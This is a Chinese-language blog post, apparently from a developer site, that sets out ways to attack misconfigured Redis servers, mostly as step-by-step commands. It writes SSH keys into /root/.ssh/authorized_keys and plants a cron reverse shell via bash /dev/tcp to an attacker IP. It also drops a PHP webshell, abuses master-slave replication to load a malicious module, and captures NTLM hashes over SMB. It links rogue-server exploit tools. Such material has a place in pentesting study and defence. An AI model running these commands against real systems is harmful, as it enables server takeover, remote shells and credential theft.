Redis渗透思路总结

Redis 是一个开源的内存数据结构存储系统,广泛应用于数据库、缓存和消息代理。然而,Redis 部署中的配置错误和缺乏身份验证可能导致严重的安全风险。


Redis 安全风险简介

Redis 以其快速和轻量级的特性而闻名,但默认配置和不当设置可能使其成为攻击者的目标。常见的安全问题包括:

  • 未启用身份验证:Redis 默认不要求密码,攻击者可直接连接。
  • 对外网开放:Redis 默认绑定到 0.0.0.0,允许远程访问。
  • 权限过高:Redis 服务以高权限用户(如 root)运行,攻击者可执行系统级操作。
  • 数据持久化问题:Redis 的持久化机制可能被利用写入恶意文件。
  • 主从复制漏洞:高版本 Redis 的主从复制机制可能被用于远程代码执行(RCE)。

本文将从手动利用和自动化利用两个方面,详细介绍 Redis 渗透测试的思路和方法。


一、手动利用 Redis 漏洞

手动利用 Redis 漏洞需要深入了解 Redis 的配置和命令。以下是几种常见的攻击方法,逐步讲解其原理和操作步骤。

1. 写入 SSH 公钥(开放 SSH 访问)

原理

Redis 的 CONFIG SET 命令允许修改数据库的存储目录和文件名。如果 Redis 以高权限运行,攻击者可以将 SSH 公钥写入目标服务器的 /root/.ssh/authorized_keys 文件,从而获得 SSH 远程访问权限。

步骤

  1. 连接 Redis

    使用 redis-cli 连接目标 Redis 服务器,假设目标 IP 为 172.19.0.2,端口为 6379

    bash 复制代码
    redis-cli -h 172.19.0.2 -p 6379

    如果 Redis 未设置密码,可直接进入命令行界面。

  2. 检查权限

    使用 INFO 命令查看 Redis 的运行用户和权限:

    redis 复制代码
    INFO SERVER

    如果 Redis 以 root 权限运行,则可以尝试写入系统文件。

  3. 设置存储目录和文件名

    将 Redis 的持久化目录设置为 /root/.ssh/,文件名设置为 authorized_keys

    redis 复制代码
    CONFIG SET dir /root/.ssh/
    CONFIG SET dbfilename authorized_keys
  4. 写入 SSH 公钥

    先生成本地 SSH 公钥(假设已生成,位于 ~/.ssh/id_rsa.pub),将其内容写入 Redis:

    redis 复制代码
    SET ssh_key "ssh-rsa AAAAB3NzaC1yc2E... your_public_key"
    SAVE

    SAVE 命令会将数据持久化到 /root/.ssh/authorized_keys

  5. 验证 SSH 访问

    使用对应的私钥尝试 SSH 登录目标服务器:

    bash 复制代码
    ssh -i ~/.ssh/id_rsa root@172.19.0.2

    如果成功,将获得目标服务器的 root 权限。

注意事项

  • 目标服务器必须启用 SSH 服务,且 Redis 需以高权限运行。
  • 如果目录 /root/.ssh/ 不存在,需确认 Redis 是否有权限创建目录。

2. 写入计划任务(Cron 定时任务)

原理

Linux 系统的计划任务(Cron)允许定期执行脚本。如果 Redis 可以写入 Cron 配置文件(如 /etc/crontab),攻击者可添加恶意任务,执行反弹 Shell 或其他恶意命令。

步骤

  1. 连接 Redis

    同上,使用 redis-cli 连接目标 Redis。

  2. 设置存储目录和文件名

    将存储目录设置为 Cron 配置文件目录(如 /etc/),文件名设置为 crontab

    redis 复制代码
    CONFIG SET dir /etc/
    CONFIG SET dbfilename crontab
  3. 写入恶意 Cron 任务

    构造一个反弹 Shell 的 Cron 任务,例如每分钟连接攻击者的监听端口:

    redis 复制代码
    SET cron "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/172.19.0.3/4444 0>&1'"
    SAVE
  4. 启动监听

    在攻击者机器(假设 IP 为 172.19.0.3)上使用 netcat 监听:

    bash 复制代码
    nc -lvnp 4444
  5. 等待反弹 Shell

    Cron 任务每分钟执行一次,成功后攻击者将收到目标服务器的 Shell。

注意事项

  • 需确认目标系统是否启用了 Cron 服务。
  • 写入的 Cron 任务需符合正确的格式,避免语法错误。

3. 写入 Webshell

原理

如果目标服务器运行 Web 服务,攻击者可通过 Redis 将恶意脚本(如 PHP Webshell)写入 Web 根目录,获得 Web 层面的远程代码执行能力。

步骤

  1. 确认 Web 根目录

    假设 Web 根目录为 /var/www/html/,可通过 CONFIG GET dir 确认 Redis 是否有权限写入该目录。

  2. 设置存储目录和文件名

    redis 复制代码
    CONFIG SET dir /var/www/html/
    CONFIG SET dbfilename shell.php
  3. 写入 Webshell

    写入一个简单的 PHP Webshell:

    redis 复制代码
    SET webshell "<?php system($_GET['cmd']); ?>"
    SAVE
  4. 访问 Webshell

    通过浏览器或 curl 访问 http://172.19.0.2/shell.php?cmd=whoami,执行任意命令。

注意事项

  • 需确认目标服务器的 Web 根目录和文件权限。
  • Webshell 的内容需根据目标 Web 服务器支持的语言(如 PHP、ASP)调整。

4. 主从复制 RCE(高版本 Redis)

原理

Redis 的主从复制功能允许从节点同步主节点的数据。攻击者可伪装为主节点,通过主从复制协议向目标 Redis 从节点推送恶意模块,从而能够执行命令。Redis 5.0 及以上版本支持模块加载,这使得 RCE 成为可能。

步骤

  1. 搭建恶意主节点

    使用工具如 redis-rogue-server(后文详述)或手动搭建 Redis 主节点。

  2. 设置目标为从节点

    连接目标 Redis,设置为攻击者控制的主节点的从节点:

    redis 复制代码
    SLAVEOF 172.19.0.3 15000
  3. 加载恶意模块

    攻击者的主节点推送恶意模块(如 exp.so),目标 Redis 加载后执行代码。

注意事项

  • 需确保目标 Redis 版本支持模块加载。
  • 网络需允许目标服务器与攻击者服务器通信。

5. NTLM Hash 泄露(结合 SMB 攻击)

原理

如果目标服务器运行 Windows 系统,攻击者可利用 Redis 写入恶意文件,诱导系统访问攻击者的 SMB 服务器,从而捕获 NTLM Hash,用于后续破解或传递攻击(Pass-the-Hash)。

步骤

  1. 搭建 SMB 服务器

    在攻击者机器上运行 impacket-smbserver

    bash 复制代码
    python3 smbserver.py SHARE /tmp
  2. 写入恶意文件

    使用 Redis 将 UNC 路径写入目标系统的关键文件,诱导访问:

    redis 复制代码
    CONFIG SET dir /tmp
    CONFIG SET dbfilename test.txt
    SET smb "\\172.19.0.3\SHARE\test"
    SAVE
  3. 捕获 NTLM Hash

    当目标系统尝试访问 SMB 路径时,攻击者的 SMB 服务器捕获 NTLM Hash。

  4. 破解或利用 Hash

    使用工具如 hashcat 破解 Hash,或通过 impacket 进行 Pass-the-Hash 攻击。

注意事项

  • 适用于 Windows 环境,需确认目标系统是否会自动访问 UNC 路径。
  • 需确保网络连通性。

二、半自动利用:Redis Rogue Server

工具
Awesome-Redis-Rogue-Server

原理

通过伪装 Redis 主节点,利用主从复制协议加载恶意模块(如 exp.so),实现 RCE。

步骤

  1. 准备环境

    • 攻击者机器:172.19.0.3
    • 目标 Redis:172.19.0.2:6379
    • 下载并准备恶意模块 exp.so
  2. 运行 Rogue Server

    在攻击者机器上运行工具:

    bash 复制代码
    python3 redis-rogue-server.py -v -path module.so
  3. 配置目标 Redis

    连接目标 Redis,设置存储目录和文件名:

    redis 复制代码
    CONFIG SET dir /tmp
    CONFIG SET dbfilename exp.so
    SLAVEOF 172.19.0.3 15000
  4. 触发 RCE

    Rogue Server 将推送 exp.so 到目标 Redis,加载后执行恶意代码。

注意事项

  • 确保模块文件与目标 Redis 版本兼容。
  • 网络防火墙需允许主从复制流量。

三、主从复制自动化利用

准备环境

  • 攻击者机器:172.19.0.3
  • 目标 Redis:172.19.0.2:6379

redis-rogue-server

工具地址
https://github.com/n0b0dyCN/redis-rogue-server

运行工具

在攻击者机器上执行以下命令,指定本地监听 IP 和目标 Redis IP:

bash 复制代码
python3 redis-rogue-server.py --lhost 172.19.0.3 --rhost 172.19.0.2

redis-rce

工具地址
https://github.com/Ridter/redis-rce

运行工具

执行以下命令,指定目标 Redis IP 和本地监听 IP:

bash 复制代码
python redis-rce.py -r 172.19.0.2 -L 172.19.0.3

注意事项

  • 需确保攻击者和目标机器网络双向连通。
  • 工具可能因 Redis 版本或配置不同而失败,需结合手动方法排查。
相关推荐
时序数据说3 分钟前
IoTDB如何解决海量数据存储难题?
大数据·数据库·物联网·时序数据库·iotdb
小楓12011 小时前
MySQL數據庫開發教學(二) 核心概念、重要指令
开发语言·数据库·mysql
花果山总钻风2 小时前
MySQL奔溃,InnoDB文件损坏修复记录
数据库·mysql·adb
郭京京2 小时前
go语言redis中使用lua脚本
redis·go·lua
TDengine (老段)2 小时前
TDengine IDMP 运维指南(管理策略)
大数据·数据库·物联网·ai·时序数据库·tdengine·涛思数据
shuair3 小时前
redis集群模式 -批量操作
redis
Full Stack Developme3 小时前
PostgreSQL interval 转换为 int4 (整数)
数据库·postgresql
larance3 小时前
FastAPI + SQLAlchemy 数据库对象转字典
数据库·fastapi
哆啦A梦是一只狸猫3 小时前
SQL Server缩小日志文件.ldf的方法(适用于开发环境)
数据库·sql·sqlserver
CHEN5_024 小时前
时序数据库选型“下半场”:从性能竞赛到生态博弈,四大主流架构深度横评
数据库·人工智能·ai·架构·时序数据库